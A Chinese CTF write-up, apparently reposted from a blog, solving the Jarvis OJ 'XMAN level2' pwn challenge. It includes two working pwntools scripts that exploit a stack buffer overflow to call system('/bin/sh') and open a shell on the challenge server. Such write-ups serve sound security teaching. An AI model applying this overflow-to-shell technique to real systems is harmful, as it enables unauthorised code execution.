[Jarvis OJ - PWN]——[XMAN]level2

[Jarvis OJ - PWN]——[XMAN]level2

  • 题目地址:https://www.jarvisoj.com/challenges
  • 题目:在这里插入图片描述
    首先,checksec一下。32位并且没有开启PIE
    在这里插入图片描述
    在IDA中查看一下。main函数里面没有我们想要的,点开vulnerable_function函数。发现read函数,第一个参数为0,代表标准输入。可以利用栈溢出。
    在这里插入图片描述
    在这里插入图片描述
    发现里面有system函数,但是里面的参数不是我们想要的,所以我们要覆盖一下它。按shift + F12,找到/bin/sh字符串。
    在这里插入图片描述
    在这里插入图片描述
    /bin/sh的地址为0x0804A024
    下面我们有两种方法

方法一

可以利用 .plt 找到system函数第一句执行的地址。或者也可以自己找。在这里插入图片描述
exp:

from pwn import *
p = remote('pwn2.jarvisoj.com', 9878)
elf = ELF("./level2.54931449c557d0551c4fc2a10f4778a1")
binsh = 0x0804A024  
sys_address = elf.plt["system"]  # 其实就是0x08048320
payload = 'a'*(0x88 + 0x4) + p32(sys_address)+'aaaa'+p32(binsh) # aaaa可以随机四个字符就好
p.send(payload)
p.interactive()

方法二

找到call system的地址
exp:

from pwn import *
p = remote('pwn2.jarvisoj.com', 9878)
binsh = 0x0804A024  
call_system_address = 0x0804845C
payload = 'a'*(0x88 + 0x4) + p32(call_system_address)+p32(binsh)
p.send(payload)
p.interactive()

小知识

call语句,其实包含两个步骤:

  1. 将函数的下一条执行语句的地址压栈 ,也就是返回地址
  2. 执行函数的第一个语句

在这里插入图片描述
就不给你自己写下exploit

猜你喜欢

转载自blog.csdn.net/Y_peak/article/details/113525570
今日推荐